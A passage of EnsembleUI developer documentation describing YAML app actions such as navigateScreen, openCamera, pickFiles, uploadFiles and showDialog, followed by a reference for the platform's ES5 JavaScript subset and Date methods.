can call an API or update any particular parameter we want + +```yaml +navigateScreen: + name: "${booking.completion_status == 'confirmed' ? 'ConfirmedTrip' : 'ConfirmTripRequest'}" + inputs: + booking: ${booking} + onNavigateBack: |- + ensemble.debug("got back") +``` + +Another example where using in context of a button we are updating certain local storage items inside the context of the onNavigateBack + +```yaml +- Button: + label: Categories + styles: + outline: true + padding: 0 + labelStyle: + fontSize: 12 + color: 4288060321 + endingIcon: + name: chevron_right + color: 4288060321 + size: 16 + onTap: null + navigateScreen: + name: Spending + onNavigateBack: |- + //@code + getCategoriesAggregate(ensemble.storage.timeSpan); + +``` + +Note: here we are chaining actions onTap -> navigateScreen -> onNavigateBack etc. Also getCategories(...) is a function used to update certain local storage items. + +- We can also pass data from the visited screen to current screen using navigateBack action. let see an example for that as well. + +```yaml +View: + header: + title: Home + body: + Button: + label: Checkout Ensemble Kitchen Sink + onTap: + navigateBack: + data: # optional, can be simple or complex + var1: 1 + var2: "s t r i n g" +``` + +on visited screen using navigateBack we pass certain variables which can be accessed on previous screen using onNavigateBack event. + +```yaml +View: + header: + title: Home + body: + Button: + label: Checkout Ensemble Kitchen Sink + onTap: + navigateScreen: + name: nextScreen + onNavigateBack: |- + //@code + console.log("navigated back to main screen"); + console.log(event.data); +``` + +#### Screen Transition Example + +```yaml +View: + header: + title: Screen Transition + + body: + Button: + label: Navigate transition + onTap: + navigateScreen: + name: + transition: + type: rotate + duration: 1000 + alignment: center +``` + +--- + +# notification + +notifications action provides a comprehensive and customizable solution for managing notifications within the app, including handling incoming notifications, displaying them to users, and implementing notification-related functionalities, enhancing user experience and interaction with timely updates and alerts. + +### Properties + +| Property | Type | Description | +| :-------- | :----- | :-------------------------------------------- | +| onTap | action | Execute an Action on notification is tap. | +| onReceive | action | Execute an Action on notification is receive. | + +--- + +# openCamera + +`OpenCamera` action enables users to access their device's camera, capturing images or videos directly from the app, enhancing interactivity and enabling seamless integration of media functionalities within the application. With `id` property we can bind results of camera. Then use the `onComplete` properties to execute other actions after capture or selection is done. + +### Properties + +| Property | Type | Description | +| :--------- | :----- | :--------------------------------------------------------------------------------- | +| id | string | Give the camera an ID, allows you to bind to its result. e.g. ${cameraId.files...} | +| onComplete | action | Execute an Action after completing capturing media | +| onClose | action | Execute an Action on camera close | +| onCapture | action | Execute an Action on each capture | +| options | object | different options to chose for `openCamera` action. [see properties](#) | + +#### properties.options + +| Property | Type | Description | +| :---------------------- | :------ | :----------------------------------------------------------------------------------------------------------------------------- | +| mode | string | Modes of camera. It can be photo only i.e allows to capture just photo. Similarly video or can be both. `photo` `video` `both` | +| initialCamera | string | Initialize either camera, back or front. `back` `front` | +| allowGalleryPicker | boolean | Allow users to pick media from gallery. Default (true). | +| allowCameraRotate | boolean | Allow users rotate camera i.e back and front. Default (true). | +| allowFlashControl | boolean | Allow users to control flash options. Default (true). | +| preview | boolean | If set true, users can view captured/selected media. | +| maxCount | number | It used to control number of media that can be captured/selected | +| maxCountMessage | string | Custom message to show when captured/selected media is greater than maxCount | +| minCount | number | It used to control number of media that can be captured/selected | +| minCountMessage | string | Custom message to show when captured/selected media is greater than minCount | +| permissionDeniedMessage | string | Set custom message when access to camera is denied | +| nextButtonLabel | string | Set custom label on next button. | +| cameraRotateIcon | widget | Set custom icon for camera rotate button. [see here](#icon-widget) | +| galleryPickerIcon | widget | Set custom icon for gallery picker button. [see here](#icon-widget) | +| focusIcon | widget | Set custom icon for focus node. | +| assistAngle | object | Show assist message whenever angle goes below minAngle or above minAngle. [see properties](#values-for-optionsassistangle) | +| assistSpeed | object | Show assist message whenever camera is moving faster than maxSpeed. [see properties](#values-for-optionsassistspeed) | +| autoCaptureInterval | integer | If set any number n, on each n interval camera will capture | + +##### Values for options.assistAngle + +| Property | Type | Description | +| :------------------------- | :----- | :-------------------------------------------- | +| minAngle | number | Minimum angle | +| maxAngle | number | Maximum Angle | +| maxAngleassistAngleMessage | number | Custom message to show when condition is hit. | + +##### Values for options.assistSpeed + +| Property | Type | Description | +| :----------------- | :----- | :-------------------------------------------- | +| maxSpeed | number | Maximum speed in km/hr. | +| assistSpeedMessage | number | Custom message to show when condition is hit. | + +**Usage Examples** + + + +```yaml +View: + header: + title: "Action: openCamera" + styles: + scrollableView: true + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Button: + label: Open Camera + onTap: + openCamera: + id: cameraId + + options: + mode: photo + + - Conditional: + conditions: + - if: ${cameraId.files.length > 0} + Carousel: + item-template: + data: ${cameraId.files} + name: file + template: + Image: + source: ${file.path} +``` + + + +`openCamera` also comes with options + + + +```yaml +- Button: + label: Camera with options + onTap: + openCamera: + id: cameraId1 + options: + allowGalleryPicker: true + allowCameraRotate: true + allowFlashControl: true + preview: true + maxCount: 2 + mode: photo + +- Conditional: + conditions: + - if: ${cameraId1.files.length > 0} + Carousel: + item-template: + data: ${cameraId1.files} + name: file + template: + Image: + source: ${file.path} +``` + + + +`openCamera` also comes with advance options + +- assistAngle, show message when phone angle goes below min angle or goes beyond max angle. +- assistSpeed, show message when phone goes beyond max speed. +- minCount/maxCount, type is a number and can also be set to `minCount: ${ensemble.storage.xyz}` to get a dynamic value + + + +```yaml +- Button: + label: Camera with advance options. + onTap: + openCamera: + options: + allowGalleryPicker: true + allowCameraRotate: true + allowFlashControl: true + preview: true + + assistAngle: + minAngle: 80 + maxAngle: 100 + assistAngleMessage: Please try to keep angle approx. 90 degree. + + assistSpeed: + maxSpeed: 10 + assistSpeedMessage: Please try to speed below 10 km/hr. +``` + + + +You can capture and upload to specified API + + + +```yaml + - Button: + label: Capture and upload + onTap: + openCamera: + id: captureMedia + onComplete: + uploadFiles: + id: uploader + files: ${captureMedia.files} + uploadApi: fileUploadApi + fieldName: files + inputs: + url: + + + - Markdown: + text: ${uploader.body} + +API: + fileUploadApi: + inputs: + - url + uri: ${url} + method: POST +``` + + + +To learn more about openCamera functionalities, test it out here in [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/USuOaOZApSgzE2uVrqlv) app. + +--- + +# pickFiles + +pickFiles action enables users to select files from their device for further processing or usage within the app, offering a seamless way to choose and work with files, enhancing user interactions and content management capabilities. + +### Properties + +| Property | Type | Description | +| :---------------- | :------ | :--------------------------------------------------------------------------------------------------------------- | +| id | string | Give the picker an ID allows you to bind to its result, which can be access anywhere e.g. ${filePicker.files...} | +| allowMultiple | boolean | Allow users to pick multiple files (default False) | +| allowCompression | boolean | It will allow media to apply the default OS compression (default True) | +| allowedExtensions | array | Allow files with specific extension e.g jpg, png, pdf | + + +### Ensemble File object +The files picked using `pickFiles` or created using camera using `openCamera` all shared the same following object. + + +| Property | Type | Description | +|:---|:---|:---| +| name | string | name of the file, could be null | +| size | integer | size of file in bytes, could be null | +| ext | string | extension of the file, could be null | +| path | string | file path, null on web, available in native mobile app | +| bytes | dynamic | if path is null i.e for web, we'll have bytes of files | + +> [NOTE] +> Path will be null when you are developing in the web studio. You'll have the path in your native mobile build or ensemble preview / go app. + + +**Example** + + + +```yaml +View: + # Optional - style the screen + styles: + scrollableView: true + + # Specify the body of the screen + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Markdown: + text: | + Use the `uploadFiles` action upload files to specify `uploadApi`. + + Then use the `onComplete` properties to execute other actions when upload is successful. + + - Button: + label: Pick Files + onTap: + pickFiles: + id: picker + + - Button: + label: Upload Picked files + onTap: + executeCode: + body: | + //@code + loading.visible = true; + + onComplete: + uploadFiles: + id: fileUploader + files: ${picker.files} + uploadApi: fileUploadApi + inputs: + url: https://en09cdal5asztm.x.pipedream.net + onComplete: | + //@code + loading.visible = false; + onError: | + //@code + + loading.visible = false; + maxFileSize: 100 + overMaxFileSizeMessage: Please select files less than 100kb + + - Markdown: + text: ${fileUploader.body} + + - Progress: + display: circular + id: loading + visible: false + + - Divider + + - Markdown: + text: | + Chain multiple file actions to pick files and upload them in one go + - Using `pickFiles` to pick file based on platform picker + - Using `uploadFiles` to upload selected files from file picker + + - Button: + label: Pick & Upload + onTap: + pickFiles: + id: filePicker + onComplete: + uploadFiles: + files: ${filePicker.files} + uploadApi: fileUploadApi + inputs: + url: https://en09cdal5asztm.x.pipedream.net + onComplete: | + //@code + ensemble.debug('File uploaded'); + + - Divider: + + - Markdown: + text: | + `pickFiles` also comes with option such as: + + - `allowMultiple` : To allow muliple file selection from gallery picker default (false) + - `allowCompression` : It will allow media to apply the default OS compression (default True) + - `allowedExtensions` : To filter file picking based on extensions like jpg, png, pdf... + + `uploadFiles` also comes with option such as: + + - `files` : Pass the files that needs to upload e.g ${filePicker.files} + + - `fieldName` : Field name that your server is expecting. (default files). + + - `maxFileSize`: File size that is allowed in kb (default 100 mb), If multiple is allow then sum of all files + - `overMaxFileSizeMessage`: Error message to show when selected files size is above maxFileSize. + + - Row: + styles: { mainAxis: spaceBetween, crossAxis: center } + children: + - Button: + label: Multiple Images + onTap: + pickFiles: + id: images + allowMultiple: true + allowCompression: false + allowedExtensions: + - jpg + - png + + - Text: + text: ${images.files.length} + - Button: + label: Upload Multiple images + onTap: + uploadFiles: + id: imageUploader + uploadApi: fileUploadApi + files: ${images.files} + fieldName: files + inputs: + url: https://en09cdal5asztm.x.pipedream.net + maxFileSize: 100 # in kb + overMaxFileSizeMessage: Please select files less than 100kb + + - Markdown: + text: ${imageUploader.body} + - Divider + + - Markdown: + text: | + ### Background file upload + - Pick and Upload files in background. + - In unmetered connection (wifi/lan) + - Also show notification + - *Not supported on web / studio. + + - Button: + label: Background upload + onTap: + pickFiles: + id: bgFilePicker + onComplete: + uploadFiles: + uploadApi: fileUploadApi + files: ${bgFilePicker.files} + inputs: + url: https://en09cdal5asztm.x.pipedream.net + id: bgUploader + options: + backgroundTask: true + showNotification: true + networkType: unmetered + + - Divider: + + - Markdown: + text: | + _Side Note: If you are using default uploadURL it's using RequestBin_ + + _RequestBin has maxFileSize of __100 kb__ above it will fail._ + + _You can see you API request [here](https://requestbin.com/r/en09cdal5asztm/2Lzx3lZ071EFF9dFKZCXJTnkJHS)_ + + - Divider: + +API: + fileUploadApi: + inputs: + - url + uri: ${url} + method: POST +``` + + + +complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/mvFbwP5K5yvAqTlncTga?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) including uploadFiles example. + +--- + +# rateApp + +The "Rate Us" functionality is available only for iOS devices when the app is in production. + +```yaml +View: + header: + title: 'Action: RateApp' + + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: + text: Works only for iOS when app is in production (will not work for Ensemble Go while on TestFlight) + - Button: + label: Rate Us + onTap: + rateApp: +``` +The rateApp action is triggered when the "Rate Us" button is tapped. It is to handle the logic for prompting users to rate the app. + +--- + +# requestNotificationAccess + +requestNotificationAccess action prompts users to grant permission for the app to send notifications to their device, enabling personalized alerts and updates, enhancing user engagement, and ensuring timely delivery of relevant information within the application. + +### Properties + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------- | +| onAccept | action | Execute an Action when notification permission has been granted | +| onReject | action | Execute an Action when notification permission has been rejected | + +**Example** + +The first important thing to consider while implementing notifications is to make sure that its authorized by user itself. Thus first step is to ensure complete access to ensemble. let us see how it works + + + +```yaml +View: + header: + title: "Action: showNotification" + + # Specify the body of the screen + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: + text: Hi there! + - Button: + label: Checkout Ensemble Kitchen Sink + onTap: + requestNotificationAccess: + onAccept: + showNotification: + title: A Notification + body: As you can see me working here +``` + + + +When user clicks on button browser pop-up asks for permission and as you allow it notification can be seen at bottom-right corner of screen. You can refer complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/NiF1zG2VKspdlxNM2F1n?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true). + +**Output** + +![Alt text](public/images/actions/image-.png) + +![Alt text](public/images/actions/image--2.png) + +--- + +# Share + +Using the native sharing capabilities of the device to provide users with the ability to share a specific piece of content. + +```yaml + - Button: + label: Open Share Sheet + onTap: + share: + title: EnsembleUI + text: https://ensembleui.com/ + - Text: + text: Works only on Native iOS and Android +``` +The share action is triggered when the "Open Share Sheet" button is tapped. It typically opens the native share sheet on the device, allowing users to share content. In this case, it shares a title ("EnsembleUI") and a URL ("https://ensembleui.com/"). + +--- + +# showDialog + +showDialog action triggers the display of a modal dialog box within the app, presenting users with important information, notifications, or customizable content while pausing the main app flow, ensuring clear and focused communication with users. + +### Properties + +| Property | Type | Description | +| :-------------- | :----- | :------------------------------------------------------------------------------ | +| widget | widget | Return an inline widget or specify a custom widget's name to use in the dialog. | +| options | object | [see properties](#propertiesoptions) | +| onDialogDismiss | action | Execute an Action when the dialog is dismissed. | + +#### properties.options + +| Property | Type | Description | +| :--------------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| minWidth | integer | | +| maxWidth | integer | | +| minHeight | integer | | +| horizontalOffset | number | Offset the dialog's position horizontally, with -1.0 for the screen's left and 1.0 for the screen's right. (default is 0 for centering horizontally) minimum `-1.0` and maximum `1.0` | +| verticalOffset | number | Offset the dialog's position vertically, with -1.0 for the screen's top and 1.0 for the screen's bottom. (default is 0 for centering vertically) minimum `-1.0` and maximum `1.0` | +| style | string | Render the dialog with a default style. You can also specify 'none' and control your own styles in your widget. `default` `none` | + +**Example** + +Here we are gonna see how we can + + + +```yaml +View: + header: + title: Dialog + onLoad: + showDialog: + widget: MyStartingDialog + + body: + Column: + styles: { margin: 10, gap: 5 } + children: + # use inline widget + - Text: + text: Your dialog can also be an inline widget + - Button: + label: Show Dialog + onTap: + showDialog: + widget: + Text: + text: This dialog declares the widget inline and uses the default style. + + - Spacer: + styles: + size: 20 + + # use custom styling + - Text: + text: You can customize the dialog style + - Button: + label: Show Custom Dialog + onTap: + showDialog: + widget: MyCustomDialog + options: + # no default style - zero margin/padding, no background color + style: none + # move it up half way between the top and the center of the screen + verticalOffset: -0.5 + +# Custom Widget +MyStartingDialog: + body: + Column: + styles: + gap: 10 + children: + - Text: + text: Welcome to Ensemble + styles: + fontSize: 16 + fontWeight: bold + - Text: + text: This dialog pops up when the user first visits the page. + - Button: + label: Close dialog + onTap: closeAllDialogs + +MyCustomDialog: + body: + Column: + styles: + gap: 10 + backgroundColor: 0xffD7BFA8 + borderRadius: 10 + margin: 20 + padding: 20 + children: + - Text: + text: |- + This dialog set its own margin/padding and background color. + + It also offset the dialog position vertically. +``` + +Try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/HRIajN2i8bDDVTL32j8m?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + + + +**Output** + +![Alt text](public/images/actions/image--4.png) + +![Alt text](public/images/actions/image--5.png) + +**Example with inputs** + +We can also make use of inputs property for `showDialog` action to pass any input parameters to be used with dialog. Lets look at the previous example but this time with some input values. + +```yaml +View: + header: + title: Dialog + onLoad: + showDialog: + widget: MyStartingDialog + body: + Column: + styles: { margin: 10, gap: 5 } + children: + - Text: + text: You can customize the dialog style and provide inputs as well + - Button: + label: Show Custom Dialog + onTap: + showDialog: + widget: + MyCustomDialog: + inputs: + name: Peter + options: + # no default style - zero margin/padding, no background color + style: none + # move it up half way between the top and the center of the screen + verticalOffset: -0.5 + + onDialogDismiss: | + //@code + console.log("dialog dismissed"); + +MyCustomDialog: + inputs: + - name + body: + Column: + styles: + gap: 10 + backgroundColor: 0xffD7BFA8 + borderRadius: 10 + margin: 20 + padding: 20 + children: + - Text: + text: |- + Hi ${name} + This dialog set its own margin/padding and background color. + + It also offset the dialog position vertically. +``` + +**Explanation** + +- In the code for showDialog we are passing an input `name` with value `Peter` which can be seen clearly in the output. + +**Output** + +![Alt text](public/images/actions/image--1.png) + +![Alt text](public/images/actions/image--3.png) + +--- + +# showNotification + +showNotification action triggers the display of local notifications within the app, notifying users of important events or information even when the app is in the background or closed, enhancing user engagement and ensuring timely communication with users. + +### Properties + +| Property | Type | Description | +| :------- | :----- | :-------------------- | +| title | string | Title of notification | +| body | string | Body of notification | + +**Example** + +You can refer [here](#requestnotificationaccess) for example related to notification. Can also refer complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/zbIn4f6tD3yQkC1MJRj1?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true). + +--- + +# uploadFiles + +uploadFiles action allows users to select and upload files from their device to the app, enabling easy data transfer and content sharing, supporting various file formats, and enhancing the app's versatility and user engagement. + +### Properties + +| Property | Type | Description | +| :--------- | :----- | :----------------------------------------------------------------------------------------- | +| id | string | Give the uploadApi an ID, allows you to bind to its result. e.g. ${apiId.body...} | +| uploadApi | string | Enter the name of your defined API | +| onComplete | action | Execute another Action upon successful upload of files | +| onError | action | Execute an Action when uploader fails with error(s) | +| inputs | array | Define the list of input names that upload API accepts | +| fieldName | string | Field name that your server is expecting (default files) | +| files | string | Binded files from sources like camera or picker. e.g ${filePicker.files}, ${camerId.files} | +| options | object | [see properties](#propertiesoptions) | + +#### properties.option + +| Property | Type | Description | +| :--------------------- | :------ | :---------------------------------------------------------------------------------------------------------------------- | +| maxFileSize | integer | File size that is allowed (default 100 mb), If multiple is allow then sum of all files | +| overMaxFileSizeMessage | string | Error message to show when selected files size is above maxFileSize. | +| backgroundTask | boolean | If set true, uploading will be done in background. | +| showNotification | boolean | If set true, progress will be show in notification bar. | +| networkType | object | An enumeration of network types. `connected` `metered` `not_required` `not_roaming` `unmetered` `temporarily_unmetered` | + +**Example** + + + +```yaml +View: + # Optional - style the screen + styles: + scrollableView: true + + # Optional - set the header for the screen + header: + title: "Action: uploadFiles" + + # Specify the body of the screen + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Markdown: + text: | + Use the `uploadFiles` action upload files to specify `uploadApi`. + + Then use the `onComplete` properties to execute other actions when upload is successful. + + - Button: + label: Pick Files + onTap: + pickFiles: + id: picker + + - Button: + label: Upload Picked files + onTap: + executeCode: + body: | + //@code + loading.visible = true; + + onComplete: + uploadFiles: + id: fileUploader + files: ${picker.files} + uploadApi: fileUploadApi + inputs: + url: https://en09cdal5asztm.x.pipedream.net + onComplete: | + //@code + loading.visible = false; + onError: | + //@code + + loading.visible = false; + maxFileSize: 100 + overMaxFileSizeMessage: Please select files less than 100kb + + - Markdown: + text: ${fileUploader.body} + + - Progress: + display: circular + id: loading + visible: false + + - Divider + + - Markdown: + text: | + Chain multiple file actions to pick files and upload them in one go + - Using `pickFiles` to pick file based on platform picker + - Using `uploadFiles` to upload selected files from file picker + + - Button: + label: Pick & Upload + onTap: + pickFiles: + id: filePicker + onComplete: + uploadFiles: + files: ${filePicker.files} + uploadApi: fileUploadApi + inputs: + url: https://en09cdal5asztm.x.pipedream.net + onComplete: | + //@code + ensemble.debug('File uploaded'); + + - Divider: + + - Markdown: + text: | + `pickFiles` also comes with option such as: + + - `allowMultiple` : To allow muliple file selection from gallery picker default (false) + - `allowCompression` : It will allow media to apply the default OS compression (default True) + - `allowedExtensions` : To filter file picking based on extensions like jpg, png, pdf... + + `uploadFiles` also comes with option such as: + + - `files` : Pass the files that needs to upload e.g ${filePicker.files} + + - `fieldName` : Field name that your server is expecting. (default files). + + - `maxFileSize`: File size that is allowed in kb (default 100 mb), If multiple is allow then sum of all files + - `overMaxFileSizeMessage`: Error message to show when selected files size is above maxFileSize. + + - Row: + styles: { mainAxis: spaceBetween, crossAxis: center } + children: + - Button: + label: Multiple Images + onTap: + pickFiles: + id: images + allowMultiple: true + allowCompression: false + allowedExtensions: + - jpg + - png + + - Text: + text: ${images.files.length} + - Button: + label: Upload Multiple images + onTap: + uploadFiles: + id: imageUploader + uploadApi: fileUploadApi + files: ${images.files} + fieldName: files + inputs: + url: https://en09cdal5asztm.x.pipedream.net + maxFileSize: 100 # in kb + overMaxFileSizeMessage: Please select files less than 100kb + + - Markdown: + text: ${imageUploader.body} + - Divider + + - Markdown: + text: | + ### Background file upload + - Pick and Upload files in background. + - In unmetered connection (wifi/lan) + - Also show notification + - *Not supported on web / studio. + + - Button: + label: Background upload + onTap: + pickFiles: + id: bgFilePicker + onComplete: + uploadFiles: + uploadApi: fileUploadApi + files: ${bgFilePicker.files} + inputs: + url: https://en09cdal5asztm.x.pipedream.net + id: bgUploader + options: + backgroundTask: true + showNotification: true + networkType: unmetered + + - Divider: + + - Markdown: + text: | + _Side Note: If you are using default uploadURL it's using RequestBin_ + + _RequestBin has maxFileSize of __100 kb__ above it will fail._ + + _You can see you API request [here](https://requestbin.com/r/en09cdal5asztm/2Lzx3lZ071EFF9dFKZCXJTnkJHS)_ + + - Divider: + +API: + fileUploadApi: + inputs: + - url + uri: ${url} + method: POST +``` + + + +complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/mvFbwP5K5yvAqTlncTga?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +--- + +# Add logic using JavaScript + +Welcome to the Ensemble Javascript manual. It provides how-to guides, API reference documentation and examples. + +## Limitations + +Ensemble's javascript is a limited subset of the javascript you may be used to. It is used primarily for manipulating the JSON response from the server, performing UI logic when handling events or writing re-usable functions. + +Following are the key limitations of the javascript in Ensemble. + +- Only supports ES5. Which means that it does _not_ support any of the ES6 features listed [here](https://www.w3schools.com/js/js_es6.asp). There is _no_ support for arrow function synatx (=>), let keyword and many other features you may be used to. +- No support for importing libraries. Limited to what's provided outside the box. +- No support for `.prototype` or defining new objects. This may come in the future. + +Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of these capabilities or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) + +## Where is Javascript code used? + +Javascript is the language to build your logic in Ensemble. It is used either as code blocks or as inline expressions. We discuss both below. + +### Code Block + +Each code block must start with `//@code` as the first line. This tells the platform to process the text as code. + +- Use code blocks to handling events or processing API responses. +- Each code block must be in the `body` of the `executeCode` action. + +See below the two use cases where code blocks are used. + +#### Handling Events + +Specified as the `executeCode` action. +Example - + +```js + Button: + label: Click Me + onTap: + executeCode: + body: | + //@code + myText.text = 'tapped out'; +``` + +#### Process API responses + +Another common place code blocks are used is when the API response has to be handled to extract values to be set on widgets or response to be set so that one or more `item-template` on the page may get the data in the format that they expect. See both examples below. +Example 1: set widget property in API response + +```js + API: + getDummyData: + uri: https://dummyjson.com/users/1 + method: GET + onResponse: + executeCode: + body: | + //@code + myText.text = 'Got Response!'; +``` + +Example 2: processing response and setting it for the `item-template` that are bound to this API to use + +```js + API: + getDummyData: + uri: https://dummyjson.com/users/1 + method: GET + onResponse: + executeCode: + body: | + //@code + //this will replace the response and be used by the item-templates that bind to this API + response.body.data = [{"field1:"value1"}]; +``` + +### Inline Expressions and bindings + +Use inline expressions for dynamically assigning values to widget properties. Inline expressions automatically update the properties of widgets by `binding` them to API responses or template data. + +More details coming soon... TBD + +## Referencing Ensemble widgets and their properties inside javascript + +All widgets on a screen can be referenced within the code block by their `id` field. This also means that ids need to be unique on a screen. Don't set id on your re-usable custom widgets. +No need to call a function, simply use the id of the widget and start accessing its properties. For example, if your widget has `id: myText`, you can reference it in code block or inside an expression as just `myText`. See below. + +```js + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: + id: myText + text: Hi there! + - Button: + label: Click Me + onTap: + executeCode: + body: | + //@code + myText.text = 'tapped out'; +``` + +Widgets within an item-template can be referenced by their index in the array using the `this.selectedItemIndex` syntax. +For example. + +```js + ListView: + id: listView + onItemTap: + navigateScreen: + name: ListView - Detail Page + inputs: + doc_type: ${getPeople.body.users[this.selectedItemIndex]} + styles: {expanded: true } + itemTemplate: + data: ${getPeople.body.users} + name: users + template: + MyRow: + inputs: + p: ${users} +``` + +## Core Libraries + +- [The `ensemble` object](#ensemble-objects-and-their-properties) +- [String](#string-functions) +- [Numbers](#number-functions) +- [Date](#javascript-date) +- [Object and Array](#object) +- [Globals](#consolelog) +- [Math](#javascript-math) +- [JSON](#json) +- [JsonPath](#jsonpath) + +## Common Errors and Logging/Debugging + +TBD + +--- + +# JavaScript Date +The Date object is a built-in JavaScript object that represents a single moment in time, based on the number of milliseconds since January 1, 1970, 00:00:00 UTC. + +- Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of other capabilities +- or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) + +## Constructors + +### Date() +Creates a new Date object with the current date and time. + +Example: +```js +var date = new Date(); +console.log(date.toString()); // Example output: "Fri Jun 02 2022 12:49:07 GMT+0200 (Central European Summer Time)" +``` + +### Date(milliseconds) +Creates a new Date object with the time set to the number of milliseconds since January 1, 1970, 00:00:00 UTC. + +Example: +```js +var date = new Date(1622633347521); +console.log(date.toString()); // Example output: "Fri Jun 02 2022 12:49:07 GMT+0200 (Central European Summer Time)" +``` +### Date(dateString) +Creates a new Date object with the time set to the value specified by the dateString. + +**Note: The function parses a subset of ISO 8601, which includes the subset accepted by RFC 3339.** + +The accepted inputs are currently: + +* A date: A signed four-to-six digit year, two digit month and two digit day, optionally separated by - characters. Examples: "19700101", "-0004-12-24", "81030-04-01". +* An optional time part, separated from the date by either T or a space. The time part is a two digit hour, then optionally a two digit minutes value, then optionally a two digit seconds value, and then optionally a '.' or ',' followed by at least a one digit second fraction. The minutes and seconds may be separated from the previous parts by a ':'. Examples: "12", "12:30:24.124", "12:30:24,124", "123010.50". +* An optional time-zone offset part, possibly separated from the previous by a space. The time zone is either 'z' or 'Z', or it is a signed two digit hour part and an optional two digit minute part. The sign must be either "+" or "-", and cannot be omitted. The minutes may be separated from the hours by a ':'. Examples: "Z", "-10", "+01:30", "+1130". +* This includes the output of both toString and toIso8601String, which will be parsed back into a DateTime object with the same time as the original. + +The result is always in either local time or UTC. If a time zone offset other than UTC is specified, the time is converted to the equivalent UTC time. + +Examples of accepted strings: + +* "2012-02-27" +* "2012-02-27 13:27:00" +* "2012-02-27 13:27:00.123456789z" +* "2012-02-27 13:27:00,123456789z" +* "20120227 13:27:00" +* "20120227T132700" +* "20120227" +* "+20120227" +* "2012-02-27T14Z" +* "2012-02-27T14+00:00" +* "-123450101 00:00:00 Z": in the year -12345. +* "2002-02-27T14:00:00-0500": Same as "2002-02-27T19:00:00Z" + +This method accepts out-of-range component values and interprets them as overflows into the next larger component. For example, "2020-01-42" will be parsed as 2020-02-11, because the last valid date in that month is 2020-01-31, so 42 days is interpreted as 31 days of that month plus 11 days into the next month. + +Example: +```js +var date = new Date("2022-06-02T10:49:07.521Z"); +console.log(date.toString()); // Example output: "Fri Jun 02 2022 12:49:07 GMT+0200 (Central European Summer Time)" +``` +### Date(year, month[, day[, hour[, minutes[, seconds[, milliseconds]]]]]) +Creates a new Date object with the specified date and time components. The month parameter is 0-indexed (0 for January, 1 for February, etc.). + +Example: +```js +var date = new Date(2022, 5, 2, 10, 49, 7, 521); +console.log(date.toString()); // Example output: "Thu Jun 02 2022 10:49:07 GMT+0200 (Central European Summer Time)" +``` +## Methods + +### Date.UTC(year, month[, day[, hour[, minutes[, seconds[, milliseconds]]]]]) +Returns the number of milliseconds since January 1, 1970, 00:00:00 UTC for the specified date and time components. + +Example: +```js +var utc = Date.UTC(2022, 5, 2, 10, 49, 7, 521); +console.log(utc); // Example output: 1654259347521 +``` +### getTime() +Returns the number of milliseconds since January 1, 1970, 00:00:00 UTC. + +Example: +```js +var date = new Date(); +var time = date.getTime(); +console.log(time); // Example output: 1622633347521 +``` +### getFullYear() +Returns the year according to the local time. + +Example: +```js +var date = new Date(); +var year = date.getFullYear(); +console.log(year); // Example output: 2022 +``` +### getMonth() +Returns the month according to the local time (0-indexed). + +Example: +```js +var date = new Date(); +var month = date.getMonth(); +console.log(month); // Example output: 5 (for June) +``` +### getDate() +Returns the day of the month according to the local time. + +Example: +```js +var date = new Date(); +var dayOfMonth = date.getDate(); +console.log(dayOfMonth); // Example output: 2 +``` +### getHours() +An integer, between 0 and 23, representing the hours for the given date according to local time. + +Example: +```js +var birthday = new Date('March 13, 08 04:20'); +console.log(birthday.getHours());// Expected output: 4 +``` +### getMinutes() +Returns the minutes according to the local time. + +Example: +```js +var date = new Date(); +var minutes = date.getMinutes(); +console.log(minutes); // Example output: 49 +``` +### getSeconds() +Returns the seconds according to the local time. + +Example: +```js +var date = new Date(); +var seconds = date.getSeconds(); +console.log(seconds); // Example output: 7 +``` +### getMilliseconds() +Returns the milliseconds according to the local time. + +Example: +```js +var date = new Date(); +var milliseconds = date.getMilliseconds(); +console.log(milliseconds); // Example output: 521 +``` +### getDay() +Returns the day of the week according to the local time. + +Example: +```js +var date = new Date(); +var dayOfWeek = date.getDay(); +console.log(dayOfWeek); // Example output: 4 (for Thursday) +``` +### toISOString() +Returns the Date object as a ISO8601 string. It does not support internationalized strings. +This string can be parsed back into the Date object using the parse() method + +Example: +```js +var event = new Date('2023-11-02 17:07:35.053068'); +var str = date.toISOString() +console.log(str); // Example output: "2023-11-03T00:07:35.053068Z" +``` +### toJSON() +Returns the Date object as an ISO 8601 formatted string in UTC. + +Example: +```js +var date = new Date(); +var jsonString = date.toJSON(); +console.log(jsonString); // Example output: "2022-06-02T10:49:07.521Z" +``` +### toLocaleDateString() +Returns the date formatted with locale conventions. +- locale (optional): A string with a BCP 47 language tag that forces a specific locale to be used. If no locale is passed in, Ensemble will automatically use the user-detected locale. + +Example: +```js +var event = new Date('2023-11-02T17:07:35.053Z'); + +// "11/2/2023" (US) or "2/11/2023" (UK) depending on detected locale +console.log(event.toLocaleDateString()); + +// Force a locale (British English). Output 2/11/2023 +console.log(event.toLocaleDateString('en-GB'); +``` + +### toLocaleTimeString() +Returns the time portion of the Date object as a string, using locale conventions. +- locale (optional): A string with a BCP 